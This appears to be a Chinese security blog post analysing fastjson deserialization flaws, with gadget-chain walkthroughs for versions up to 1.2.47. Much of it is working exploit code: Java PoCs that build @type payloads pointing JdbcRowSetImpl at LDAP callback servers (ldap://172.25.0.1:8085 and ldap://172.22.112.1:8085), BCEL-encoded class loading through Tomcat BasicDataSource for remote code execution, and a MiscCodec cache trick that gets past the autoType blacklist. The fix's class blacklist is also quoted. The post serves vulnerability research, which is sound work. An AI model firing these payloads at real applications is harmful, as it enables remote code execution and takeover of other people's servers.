回想fastjson获取setter方法的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| for (Method method : methods) { int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0; String methodName = method.getName(); if (methodName.length() < 4) { continue; }
if (Modifier.isStatic(method.getModifiers())) { continue; }
if (!methodName.startsWith("set")) { continue; }
char c3 = methodName.charAt(3);
String propertyName; if (Character.isUpperCase(c3) || c3 > 512 ) { if (TypeUtils.compatibleWithJavaBean) { propertyName = TypeUtils.decapitalize(methodName.substring(3)); } else { propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4); } } else if (c3 == '_') { propertyName = methodName.substring(4); } else if (c3 == 'f') { propertyName = methodName.substring(3); } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) { propertyName = TypeUtils.decapitalize(methodName.substring(3)); } else { continue; }
Field field = TypeUtils.getField(clazz, propertyName, declaredFields); if (field == null && types[0] == boolean.class) { String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1); field = TypeUtils.getField(clazz, isFieldName, declaredFields); }
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null)); }
|
循环遍历每个方法,看是否存在符合setter的方法:
满足set开头,参数长度为1,非static,方法名总长度大于3
然后,把set后第一个字母小写,并取后面的字符串为属性名。也就是说不是按照属性名->取setter的逻辑来的。没有对应的属性名,也能取到setter。getter同理
上一节的结论:
fastjson根据@type还原类,是在本地从0开始实例化,然后调用setter赋值
如果解析函数里有JSON.toJSON,还会调用getter
按以下顺序判断,满足条件的话,会被当成setter调用:
- set开头,参数长度为1,非static,方法名总长度大于3
- 没有setter方法,有字段是bool类型,则用
is
加上首字母大写后的字段去查找(所以isName这种也算setter)
- 没有setter方法,有getter方法,参数长度为0,返回类型是属于Collection 或其子类、Map 或其子类、AtomicBoolean、AtomicInteger、AtomicLong的一种
由于fastjson是根据参数在本地从0创建类,所以传输的类不需要实现Serializable接口,字段有transient也无所谓
理所应当的想到TemplatesImpl#getOutputProperty组成Gadget。但是由于是在本地创建,setter赋值,而不是我们直接传输赋好值的对象,所以反射修改字段的payload一概用不了。
fastjson<=1.2.24
ok,下面直接给链吧
JdbcRowSetImpl JNDI
需要在JNDI影响版本下。目标出网(能外联)
漏洞点:
用setter触发:
getter因为不满足上面的条件,在无JSON.toJSON解析的情况下用不了
利用链:
1 2
| JdbcRowSetImpl.setAutoCommit-> JdbcRowSetImpl.connect
|
yakit / marshelsec / misc.LdapAtkServer都能开LDAP打JNDI
yakit -> 反连服务器 -> payload配置
1 2 3 4
| public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.25.0.1:8085/aRWBgUym\",\"autoCommit\":0}"; JSON.parse(payload); }
|
BCEL字节码
据野史记载,在 JDK < 8u251 rt.jar都集成了BCEL ClassLoader,在下面这个包
1
| com.sun.org.apache.bcel.internal.util
|
同时在Tomcat中也会存在相关的依赖
随便找了个依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>7.0.65</version> </dependency>
|
该类下的loadClass方法如下:如果类以$$BCEL$$
开头,会调用createClass生成字节码,并用defineClass加载字节码
creatClass里用Utility.decode解密class_name第8位后的内容
Utility.decode对应了Utility.encode()
so,传入$$BCEL$$
+Utility.decode(payload)经过loadClass即可RCE
那怎么调用到loadClass呢?BasicDataSource的forName触发双亲委派,指定driverClassLoader就OK。
刚好有对应的setter去给这堆变量赋值:
可惜向上只能get方法触发createDataSource。只能parseObject能利用(setLogWriter没办法从json传值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\Runtime_static.class")); String bcel = "\""+"$$BCEL$$"+Utility.encode(code,true)+"\""; String payload = "{" + "\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," + "\"driverClassLoader\":{" + "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" + "}," + "\"driverClassName\":" + bcel + "}"; System.out.println(payload); JSON.parseObject(payload); }
|
wait,好像还有操作
MapSerializer -> ASMSerializer
parse必会走到DefaultJSONParser.parseObject(final Map object,Object fieldName)
,其中必走到这个if判断,且必走进去
因为Object本来就是JSONObject
JSONObject的父类是JSON,调用JSONObject.toString会走到JSON.toString
来看JSON.toString,转到JSON.toJSONString
跟进这个JSONSerializer.write
有没有很像JSON.toJSON?一样的流程
但是并没有走进创建ASM字节码的分支,而是由于我们传入JSONObject继承自Map,所以使用了MapSerializer
调用write方法就走进了MapSerializer.write
里面循环解析JSONObject的键值对,而且取出了value,如果这里value是BasicDataSource的话,就会类似JSON.toJSON那样,创建ASM字节码并调用getter
创建ASM字节码并调用getter请见字节码提取的fastjson流程分析:
https://godownio.github.io/2024/10/06/fastjson-liu-cheng-fen-xi-bu-han-poc/#toJSON%E8%A7%A6%E5%8F%91getter
跟进到getObjectWriter也可以确证
所以用JSONObject嵌套一个键为JSONObject的json,这个键再嵌套一个值为BasicDataSource的json,即可调用BasicDataSource.getConnection
就能和getConntect连起来了
这里我调试发现,是以栈的形式触发toString,从里到外,也就是说先BasicDataSource.toString,再JSONObject.toString。虽然并不重要
利用链:
1 2 3 4 5 6 7 8 9
| JSON.parse -> DefaultJSONParser.parseObject -> JSONObject.toString -> toJSONString MapSerializer.write -> ASMSerializer_1_xxx字节码.write -> BasicDataSource.getConnect -> BasicDataSource.createDataSource -> BasicDataSource.createConnectionFactory -> com.sun.org.apache.bcel.internal.utilClassLoader.loadClass
|
1 2 3 4 5 6 7 8 9 10 11
| { { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
|
test POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class BCEL_getConnect { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\Runtime_static.class")); String bcel = "\""+"$$BCEL$$"+ Utility.encode(code,true)+"\""; String poc = "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": "+ bcel+ "\n" + " }\n" + " }: \"bbb\"\n" + "}"; System.out.println(poc); JSON.parse(poc); } }
|
能打目标不出网,直接执行字节码,搭配Servlet进行回显,或者写ssh?
但是需要目标有Tomcat依赖
fastjson 1.2.25-1.2.47
修复
1.2.24最终调用到的DefaultJSONParser.parseObject,以TypeUtils.loadClass加载类
1.2.25开始,改用checkAutoType加载类
这个方法里搞了个黑名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
|
以及一个白名单,由开发者自行添加,默认为空。判断逻辑如下:
- 如果autoTypeSupport开启,则先遍历白名单,如果在其中,则直接加载类,否则遍历黑名单,如果在其中则抛异常(autoTypeSupport默认为false)
- getClassFormMapping从缓存中获取反序列化器, 并从反序列化器中加载类
网上说的前面加L
后面加;
的绕过方式,适用于autoTypeSupport开启的情况,但实际上根本没这种环境,有没有更通用的办法呢?
MiscCodec
唯一的入口就是getClassFromMapping,直接给解法:
在ParserConfig初始化的时候,向里面put了一堆key为class,value为反序列化构造器的Entry
如果传入的typeName是Class.class,则获取的反序列化构造器为MiscCodec,并按正常流程,调用deserialze对吧
在deserialze方法时,MiscCodec.deserialze会进入下面这个if,如果strVal为我们传进去的恶意类,比如ldap用的com.sun.rowset.JdbcRowSetImpl
会把结果put进mappings
之后再走到checkAutoType加载BasicDataSource时,用getClassFromMapping看直接有没有加载过
于是返回了加载过的恶意类结果
怎么设置strVal呢?strVal来自objVal
objVal来自parser.parse(),如果下一个字符串是”val”,则用lexer.nextToken()移动到下一个标记,调用parser.accept确保当前符号为冒号,parser.parse()解析实际的对象值,赋给objVal
利用"val":"com.sun.rowset.JdbcRowSetImpl"
即可把objVal设置为Val
完成绕过
JSON字符串:
1 2 3 4 5 6 7 8 9 10 11
| { { "@type" : "java.lang.Class", "val" : "com.sun.rowset.JdbcRowSetImpl" }, { "@type" : "com.sun.rowset.JdbcRowSetImpl", "dataSourceName" : "ldap:your-ldapServer", "autoCommit" : true } }
|
JDNI POC:
1 2 3 4 5 6
| public class JdbcRowSetImpl_1_2_41 { public static void main(String[] args) throws Exception { String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.22.112.1:8085/YAxwlVoO\",\"autoCommit\":true}}"; JSON.parse(payload); } }
|
同理,改造的BCEL能用吗:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class BCEL_parse_1_2_47 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\Runtime_static.class")); String bcel = "\""+"$$BCEL$$"+ Utility.encode(code,true)+"\""; String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}," + "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," + "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": "+ bcel+ "\n" + " }\n" + " }: \"bbb\"\n" + "}}"; JSON.parse(payload); } }
|
这个版本不出网用不了BCEL,因为BasicDataSource嵌套了ClassLoader利用,而且不能传两个java.lang.Class,分析如下:
快进到看mappings,可以看到两个都put进Mappings了
在加载ClassLoader类时,由于expectClass经过了第一次被置为Class类,第二次就取到了exceptClass
于是checTypeSupport里,走进了第一个if,ClassLoader在黑名单,于是直接G
1.2.24能打JNDI和不出网BCEL,1.2.25-1.2.47只能打出网的JNDI
BCEL打内存马=修改本地组件功能,通过达到不出网利用且回显的手法
网上流传的1.2.25+版本打BCEL都是骗子,我鉴定过了,一个腾讯云的一个freebuf的,自己都跑不通还来骗
高版本利用:https://www.freebuf.com/vuls/361576.html
以后学了groovy再看